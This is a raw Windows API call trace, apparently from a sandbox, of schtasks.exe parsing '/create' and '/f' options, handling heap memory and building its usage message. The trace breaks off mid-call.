[0128.418] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.418] lstrlenW (lpString="?") returned 1 [0128.418] lstrlenW (lpString="?") returned 1 [0128.418] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.418] lstrlenW (lpString="f") returned 1 [0128.418] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.418] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0128.418] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.418] lstrlenW (lpString="|?|") returned 3 [0128.418] lstrlenW (lpString="|f|") returned 3 [0128.418] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0128.418] SetLastError (dwErrCode=0x490) [0128.418] lstrlenW (lpString="create") returned 6 [0128.418] lstrlenW (lpString="create") returned 6 [0128.418] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.418] lstrlenW (lpString="f") returned 1 [0128.418] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.418] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0128.418] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.418] lstrlenW (lpString="|create|") returned 8 [0128.418] lstrlenW (lpString="|f|") returned 3 [0128.418] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0128.418] SetLastError (dwErrCode=0x490) [0128.418] lstrlenW (lpString="delete") returned 6 [0128.418] lstrlenW (lpString="delete") returned 6 [0128.419] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.419] lstrlenW (lpString="f") returned 1 [0128.419] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.419] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0128.419] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.419] lstrlenW (lpString="|delete|") returned 8 [0128.419] lstrlenW (lpString="|f|") returned 3 [0128.419] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0128.419] SetLastError (dwErrCode=0x490) [0128.419] lstrlenW (lpString="query") returned 5 [0128.419] lstrlenW (lpString="query") returned 5 [0128.419] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.419] lstrlenW (lpString="f") returned 1 [0128.419] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.419] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0128.419] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.419] lstrlenW (lpString="|query|") returned 7 [0128.419] lstrlenW (lpString="|f|") returned 3 [0128.419] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0128.419] SetLastError (dwErrCode=0x490) [0128.419] lstrlenW (lpString="change") returned 6 [0128.419] lstrlenW (lpString="change") returned 6 [0128.419] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.419] lstrlenW (lpString="f") returned 1 [0128.419] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.420] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0128.420] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.420] lstrlenW (lpString="|change|") returned 8 [0128.420] lstrlenW (lpString="|f|") returned 3 [0128.420] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0128.420] SetLastError (dwErrCode=0x490) [0128.420] lstrlenW (lpString="run") returned 3 [0128.420] lstrlenW (lpString="run") returned 3 [0128.420] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.420] lstrlenW (lpString="f") returned 1 [0128.420] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.420] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0128.420] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.420] lstrlenW (lpString="|run|") returned 5 [0128.420] lstrlenW (lpString="|f|") returned 3 [0128.420] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0128.420] SetLastError (dwErrCode=0x490) [0128.420] lstrlenW (lpString="end") returned 3 [0128.420] lstrlenW (lpString="end") returned 3 [0128.420] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.420] lstrlenW (lpString="f") returned 1 [0128.420] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.420] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0128.420] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.420] lstrlenW (lpString="|end|") returned 5 [0128.420] lstrlenW (lpString="|f|") returned 3 [0128.421] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0128.421] SetLastError (dwErrCode=0x490) [0128.421] lstrlenW (lpString="showsid") returned 7 [0128.421] lstrlenW (lpString="showsid") returned 7 [0128.421] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.421] lstrlenW (lpString="f") returned 1 [0128.421] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.421] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0128.421] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|f|") returned 3 [0128.421] lstrlenW (lpString="|showsid|") returned 9 [0128.421] lstrlenW (lpString="|f|") returned 3 [0128.421] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0128.421] SetLastError (dwErrCode=0x490) [0128.421] SetLastError (dwErrCode=0x490) [0128.421] SetLastError (dwErrCode=0x0) [0128.421] lstrlenW (lpString="/f") returned 2 [0128.421] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0128.421] SetLastError (dwErrCode=0x490) [0128.421] SetLastError (dwErrCode=0x0) [0128.421] lstrlenW (lpString="/f") returned 2 [0128.421] GetProcessHeap () returned 0x470000 [0128.421] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x6) returned 0x48dcd0 [0128.421] GetProcessHeap () returned 0x470000 [0128.421] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48ce20 [0128.421] SetLastError (dwErrCode=0x0) [0128.421] GetProcessHeap () returned 0x470000 [0128.421] GetProcessHeap () returned 0x470000 [0128.421] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c200) returned 1 [0128.421] GetProcessHeap () returned 0x470000 [0128.422] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c200) returned 0x8 [0128.422] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c200 | out: hHeap=0x470000) returned 1 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cc10) returned 1 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cc10) returned 0x20 [0128.422] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cc10 | out: hHeap=0x470000) returned 1 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cc40) returned 1 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cc40) returned 0x1e [0128.422] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cc40 | out: hHeap=0x470000) returned 1 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] GetProcessHeap () returned 0x470000 [0128.422] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cc70) returned 1 [0128.423] GetProcessHeap () returned 0x470000 [0128.423] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cc70) returned 0x20 [0128.423] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cc70 | out: hHeap=0x470000) returned 1 [0128.423] GetProcessHeap () returned 0x470000 [0128.423] GetProcessHeap () returned 0x470000 [0128.423] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c290) returned 1 [0128.423] GetProcessHeap () returned 0x470000 [0128.423] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c290) returned 0x8 [0128.423] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c290 | out: hHeap=0x470000) returned 1 [0128.423] GetProcessHeap () returned 0x470000 [0128.423] GetProcessHeap () returned 0x470000 [0128.423] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cca0) returned 1 [0128.423] GetProcessHeap () returned 0x470000 [0128.423] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cca0) returned 0x20 [0128.424] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cca0 | out: hHeap=0x470000) returned 1 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c2b0) returned 1 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c2b0) returned 0xe [0128.424] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c2b0 | out: hHeap=0x470000) returned 1 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ccd0) returned 1 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ccd0) returned 0x20 [0128.424] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ccd0 | out: hHeap=0x470000) returned 1 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c2d0) returned 1 [0128.424] GetProcessHeap () returned 0x470000 [0128.424] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c2d0) returned 0x8 [0128.424] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c2d0 | out: hHeap=0x470000) returned 1 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd00) returned 1 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd00) returned 0x20 [0128.425] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd00 | out: hHeap=0x470000) returned 1 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c2f0) returned 1 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c2f0) returned 0x4 [0128.425] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c2f0 | out: hHeap=0x470000) returned 1 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd30) returned 1 [0128.425] GetProcessHeap () returned 0x470000 [0128.425] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd30) returned 0x20 [0128.426] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd30 | out: hHeap=0x470000) returned 1 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c310) returned 1 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c310) returned 0x8 [0128.426] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c310 | out: hHeap=0x470000) returned 1 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd60) returned 1 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd60) returned 0x20 [0128.426] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd60 | out: hHeap=0x470000) returned 1 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c400) returned 1 [0128.426] GetProcessHeap () returned 0x470000 [0128.426] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c400) returned 0x60 [0128.427] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c400 | out: hHeap=0x470000) returned 1 [0128.427] GetProcessHeap () returned 0x470000 [0128.427] GetProcessHeap () returned 0x470000 [0128.427] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd90) returned 1 [0128.427] GetProcessHeap () returned 0x470000 [0128.427] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd90) returned 0x20 [0128.427] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd90 | out: hHeap=0x470000) returned 1 [0128.427] GetProcessHeap () returned 0x470000 [0128.427] GetProcessHeap () returned 0x470000 [0128.427] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c470) returned 1 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c470) returned 0x8 [0128.428] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c470 | out: hHeap=0x470000) returned 1 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdc0) returned 1 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cdc0) returned 0x20 [0128.428] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdc0 | out: hHeap=0x470000) returned 1 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d500) returned 1 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d500) returned 0x10 [0128.428] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d500 | out: hHeap=0x470000) returned 1 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdf0) returned 1 [0128.428] GetProcessHeap () returned 0x470000 [0128.428] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cdf0) returned 0x20 [0128.429] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdf0 | out: hHeap=0x470000) returned 1 [0128.429] GetProcessHeap () returned 0x470000 [0128.429] GetProcessHeap () returned 0x470000 [0128.429] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48dcd0) returned 1 [0128.429] GetProcessHeap () returned 0x470000 [0128.429] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48dcd0) returned 0x6 [0128.429] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48dcd0 | out: hHeap=0x470000) returned 1 [0128.429] GetProcessHeap () returned 0x470000 [0128.429] GetProcessHeap () returned 0x470000 [0128.429] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ce20) returned 1 [0128.429] GetProcessHeap () returned 0x470000 [0128.429] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ce20) returned 0x20 [0128.430] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ce20 | out: hHeap=0x470000) returned 1 [0128.430] GetProcessHeap () returned 0x470000 [0128.430] GetProcessHeap () returned 0x470000 [0128.430] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48b9d0) returned 1 [0128.430] GetProcessHeap () returned 0x470000 [0128.430] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48b9d0) returned 0x18 [0128.430] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b9d0 | out: hHeap=0x470000) returned 1 [0128.430] SetLastError (dwErrCode=0x0) [0128.430] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0128.430] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0128.430] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0128.430] VerifyVersionInfoW (in: lpVersionInformation=0x27c710, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27c710) returned 1 [0128.430] SetLastError (dwErrCode=0x0) [0128.430] lstrlenW (lpString="create") returned 6 [0128.430] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0128.430] SetLastError (dwErrCode=0x490) [0128.430] SetLastError (dwErrCode=0x0) [0128.430] lstrlenW (lpString="create") returned 6 [0128.430] GetProcessHeap () returned 0x470000 [0128.430] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48ce20 [0128.430] GetProcessHeap () returned 0x470000 [0128.430] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48d500 [0128.430] _memicmp (_Buf1=0x48d500, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.431] GetProcessHeap () returned 0x470000 [0128.431] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x16) returned 0x48d520 [0128.431] SetLastError (dwErrCode=0x0) [0128.431] _memicmp (_Buf1=0x48ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.431] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0128.431] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0128.483] GetProcessHeap () returned 0x470000 [0128.483] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x74e) returned 0x48dcd0 [0128.484] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x48dcd0 | out: lpData=0x48dcd0) returned 1 [0128.484] VerQueryValueW (in: pBlock=0x48dcd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27c7f8, puLen=0x27c860 | out: lplpBuffer=0x27c7f8*=0x48e06c, puLen=0x27c860) returned 1 [0128.484] _memicmp (_Buf1=0x48ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.484] _vsnwprintf (in: _Buffer=0x48bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27c7d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0128.484] VerQueryValueW (in: pBlock=0x48dcd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27c868, puLen=0x27c858 | out: lplpBuffer=0x27c868*=0x48de98, puLen=0x27c858) returned 1 [0128.484] lstrlenW (lpString="schtasks.exe") returned 12 [0128.484] lstrlenW (lpString="schtasks.exe") returned 12 [0128.484] lstrlenW (lpString=".EXE") returned 4 [0128.484] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0128.484] lstrlenW (lpString="schtasks.exe") returned 12 [0128.484] lstrlenW (lpString=".EXE") returned 4 [0128.484] lstrlenW (lpString="schtasks") returned 8 [0128.484] lstrlenW (lpString="/create") returned 7 [0128.484] _memicmp (_Buf1=0x48ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.484] _vsnwprintf (in: _Buffer=0x48bc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x27c7d8 | out: _Buffer="schtasks /create") returned 16 [0128.484] _memicmp (_Buf1=0x48bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.484] GetProcessHeap () returned 0x470000 [0128.484] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cdf0 [0128.484] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.484] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0128.484] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0128.484] GetProcessHeap () returned 0x470000 [0128.485] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x30) returned 0x487ac0 [0128.485] _vsnwprintf (in: _Buffer=0x48c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27c7d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0128.485] GetProcessHeap () returned 0x470000 [0128.485] GetProcessHeap () returned 0x470000 [0128.485] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48dcd0) returned 1 [0128.485] GetProcessHeap () returned 0x470000 [0128.485] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48dcd0) returned 0x74e [0128.485] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48dcd0 | out: hHeap=0x470000) returned 1 [0128.485] SetLastError (dwErrCode=0x0) [0128.485] GetThreadLocale () returned 0x409 [0128.485] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.485] lstrlenW (lpString="create") returned 6 [0128.485] GetThreadLocale () returned 0x409 [0128.485] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="?") returned 1 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="s") returned 1 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="u") returned 1 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="p") returned 1 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="ru") returned 2 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="rp") returned 2 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="sc") returned 2 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="mo") returned 2 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="d") returned 1 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.486] lstrlenW (lpString="m") returned 1 [0128.486] GetThreadLocale () returned 0x409 [0128.486] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="i") returned 1 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="tn") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="tr") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="st") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="sd") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="ed") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="it") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="et") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="k") returned 1 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.487] lstrlenW (lpString="du") returned 2 [0128.487] GetThreadLocale () returned 0x409 [0128.487] CompareStringA (Locale=0x409, 